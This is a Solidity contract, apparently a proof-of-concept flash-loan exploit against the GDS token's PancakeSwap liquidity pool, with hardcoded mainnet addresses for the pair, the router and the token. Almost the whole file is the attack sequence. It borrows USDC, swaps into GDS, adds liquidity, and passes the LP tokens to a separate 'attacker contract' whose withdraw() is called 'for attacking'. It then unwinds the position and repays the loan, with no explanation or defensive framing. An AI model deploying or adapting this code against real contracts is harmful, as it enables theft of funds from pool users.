// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/[Link]";
import "@openzeppelin/contracts/token/ERC20/[Link]";
import "../interfaces/[Link]";
import "../interfaces/[Link]";
import "../interfaces/[Link]";
import "../interfaces/[Link]";
import "./[Link]";
import "hardhat/[Link]";
contract FlashLoanExample is IFlashLoanReceiver {
using SafeMath for uint256;
address public PANCAKE_PAIR_GDS_USDC =
0x4526C263571eb57110D161b41df8FD073Df3C44A;
address public PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address public GDS_ADDRESS = 0xC1Bb12560468fb255A8e8431BDF883CC4cB3d278;
// called by the flashloan contract
function executeOperation(
address pool,
address token,
uint256 amount,
uint256 fee,
bytes calldata params
) external override {
address attacker_contract_address;
uint256 amountToSwap;
//decode params
(attacker_contract_address, amountToSwap) = [Link](
params,
(address, uint256)
);
[Link]("amountToSwap", amountToSwap);
// 1. Check if the flashLoan was valid
uint256 balanceOfThisContract = IERC20(token).balanceOf(address(this));
[Link]("balanceOfThisContract", balanceOfThisContract);
require(balanceOfThisContract >= amount, "flashloan is broken?");
// swap USDC to GDS using pancakeswap
// 1. approve pancakeswap router to spend our USDC
IERC20(token).approve(
PANCAKE_ROUTER,
IERC20(token).balanceOf(address(this))
);
// 2. swap USDC to GDS
address[] memory path = new address[](2);
path[0] = token; // USDC
path[1] = GDS_ADDRESS; // GDS
IPancakeRouter02(PANCAKE_ROUTER).swapExactTokensForTokens(
amountToSwap,
0,
path,
address(this),
[Link] + 100
);
[Link](
"balanceOf This Contract usdc after swap:",
IERC20(token).balanceOf(address(this))
);
uint256 balanceOfThisContractGDS = IERC20(GDS_ADDRESS).balanceOf(
address(this)
);
[Link](
"balanceOf This Contract GDS after swap:",
balanceOfThisContractGDS
);
// add liquidity to pancakeswap
// 1. approve pancakeswap router to spend our GDS
IERC20(GDS_ADDRESS).approve(PANCAKE_ROUTER, balanceOfThisContractGDS);
// 2. add liquidity
IPancakeRouter02(PANCAKE_ROUTER).addLiquidity(
token,
GDS_ADDRESS,
IERC20(token).balanceOf(address(this)) - 79298e18, //keep 79298 USDC
for fees
balanceOfThisContractGDS,
0,
0,
address(this),
[Link] + 100
);
// 3. check if the liquidity was added
[Link](
"LP balance Of This Contract After Liquidity",
IPancakePair(PANCAKE_PAIR_GDS_USDC).balanceOf(address(this))
);
//transfer LP tokens to the attacker contract
IPancakePair(PANCAKE_PAIR_GDS_USDC).transfer(
attacker_contract_address,
IPancakePair(PANCAKE_PAIR_GDS_USDC).balanceOf(address(this))
);
//call withdraw function on the attacker contract for attacking
Attacker1(attacker_contract_address).withdraw();
//remove liquidity from pancakeswap
// 1. approve pancakeswap router to spend our LP tokens
IPancakePair(PANCAKE_PAIR_GDS_USDC).approve(
PANCAKE_ROUTER,
IPancakePair(PANCAKE_PAIR_GDS_USDC).balanceOf(address(this))
);
// 2. remove liquidity
IPancakeRouter02(PANCAKE_ROUTER).removeLiquidity(
token,
GDS_ADDRESS,
IPancakePair(PANCAKE_PAIR_GDS_USDC).balanceOf(address(this)),
0,
0,
address(this),
[Link] + 100
);
//swap GDS to USDC
address[] memory routerAddress = new address[](2);
routerAddress[0] = GDS_ADDRESS;
routerAddress[1] = token;
IERC20(GDS_ADDRESS).approve(
PANCAKE_ROUTER,
IERC20(GDS_ADDRESS).balanceOf(address(this))
);
IPancakeRouter02(PANCAKE_ROUTER)
.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(GDS_ADDRESS).balanceOf(address(this)),
0,
routerAddress,
address(this),
[Link] + 100
);
// 3. Payback debt
uint256 totalDebt = [Link](fee);
[Link]("totalDebt", totalDebt);
IERC20(token).transfer(pool, totalDebt);
}
function flashLoan(
ISwapFlashLoan swap,
IERC20 token,
uint256 amount,
bytes memory params
) external {
[Link]("flashLoan started...");
[Link](address(this), token, amount, params);
[Link]("flashLoan ended...");
}
}